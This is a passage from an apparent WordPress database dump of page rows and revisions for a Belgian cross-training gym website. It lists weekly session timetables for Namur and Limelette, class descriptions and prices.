- Namur', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-11-03 08:54:06', '2013-11-03 08:54:06', '', 11, 'http://www2.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(383, 1, '2013-11-03 08:54:51', '2013-11-03 08:54:51', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'publish', 'closed', 'open', '', 'les-seances-limelette', '', '', '2013-11-04 17:07:51', '2013-11-04 17:07:51', '', 0, 'http://www2.crosstrainingcenter.be/?page_id=383', 0, 'page', '', 0),
(455, 1, '2013-11-04 17:07:51', '2013-11-04 17:07:51', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&amp;nbsp;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '383-revision-v1', '', '', '2013-11-04 17:07:51', '2013-11-04 17:07:51', '', 383, 'http://www2.crosstrainingcenter.be/383-revision-v1/', 0, 'revision', '', 0),
(384, 1, '2013-11-03 08:54:51', '2013-11-03 08:54:51', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '383-revision-v1', '', '', '2013-11-03 08:54:51', '2013-11-03 08:54:51', '', 383, 'http://www2.crosstrainingcenter.be/383-revision-v1/', 0, 'revision', '', 0),
(385, 1, '2013-11-03 08:56:21', '2013-11-03 08:56:21', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1 style=\&quot;text-align: center;\&quot;&gt;Choix d\'une salle&lt;/h1&gt;\r\n&lt;img class=\&quot;size-full wp-image-446 aligncenter\&quot; alt=\&quot;map\&quot; src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot; width=\&quot;300\&quot; height=\&quot;236\&quot; usemap=\&quot;#imagemap\&quot; /&gt;\r\n\r\n                        &lt;map name=\&quot;imagemap\&quot; id=\&quot;Map\&quot;&gt; \r\n                        &lt;area shape=\&quot;namur\&quot; coords=\&quot;90,84,166,108\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances-limelette/\&quot; /&gt; \r\n                        &lt;area shape=\&quot;limelette\&quot; coords=\&quot;174,121,233,132\&quot; href=\&quot;http://www2.crosstrainingcenter.be/les-seances/\&quot; /&gt; \r\n                        &lt;/map&gt; \r\n', 'Les séances', '', 'publish', 'closed', 'open', '', 'les-seances-2', '', '', '2013-11-03 10:41:37', '2013-11-03 10:41:37', '', 0, 'http://www2.crosstrainingcenter.be/?page_id=385', 0, 'page', '', 0),
(386, 1, '2013-11-03 08:56:21', '2013-11-03 08:56:21', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '385-revision-v1', '', '', '2013-11-03 08:56:21', '2013-11-03 08:56:21', '', 385, 'http://www2.crosstrainingcenter.be/385-revision-v1/', 0, 'revision', '', 0),
(387, 1, '2013-11-03 08:57:14', '2013-11-03 08:57:14', '', 'Séances', '', 'publish', 'open', 'open', '', 'seances', '', '', '2013-11-03 09:49:54', '2013-11-03 09:49:54', '', 0, 'http://www2.crosstrainingcenter.be/?p=387', 4, 'nav_menu_item', '', 0),
(389, 1, '2013-11-03 08:57:54', '2013-11-03 08:57:54', '&lt;blockquote&gt;\r\n&lt;h1&gt;Envie de vous essayer au cross training?&lt;/h1&gt;\r\n&lt;/blockquote&gt;\r\nVenez nous rencontrer afin de découvrir le déroulement d\'une séance de cross training.\r\n\r\nLaissez-nous vos coordonnées et nous vous recontacterons afin de planifier avec vous votre première séance gratuite.\r\n\r\n[contact-form-7 id=\&quot;265\&quot; title=\&quot;Seance_gratuite\&quot;]', 'Séance gratuite', '', 'inherit', 'open', 'open', '', '266-revision-v1', '', '', '2013-11-03 08:57:54', '2013-11-03 08:57:54', '', 266, 'http://www2.crosstrainingcenter.be/266-revision-v1/', 0, 'revision', '', 0),
(446, 1, '2013-11-03 10:39:45', '2013-11-03 10:39:45', '', 'map', '', 'inherit', 'open', 'open', '', 'map', '', '', '2013-11-03 10:39:45', '2013-11-03 10:39:45', '', 385, 'http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png', 0, 'attachment', 'image/png', 0),
(391, 1, '2013-11-03 08:59:00', '2013-11-03 08:59:00', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n\r\n&lt;/div&gt;\r\n\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/table&gt;\r\n&lt;a href=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map.png\&quot;&gt;&lt;img src=\&quot;http://www2.crosstrainingcenter.be/wp-content/uploads/2013/11/map-300x235.png\&quot; alt=\&quot;map\&quot; width=\&quot;300\&quot; height=\&quot;235\&quot; class=\&quot;alignnone size-medium wp-image-390\&quot; /&gt;&lt;/a&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '385-revision-v1', '', '', '2013-11-03 08:59:00', '2013-11-03 08:59:00', '', 385, 'http://www2.crosstrainingcenter.be/385-revision-v1/', 0, 'revision', '', 0),
(392, 1, '2013-11-03 08:59:29', '2013-11-03 08:59:29', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;a 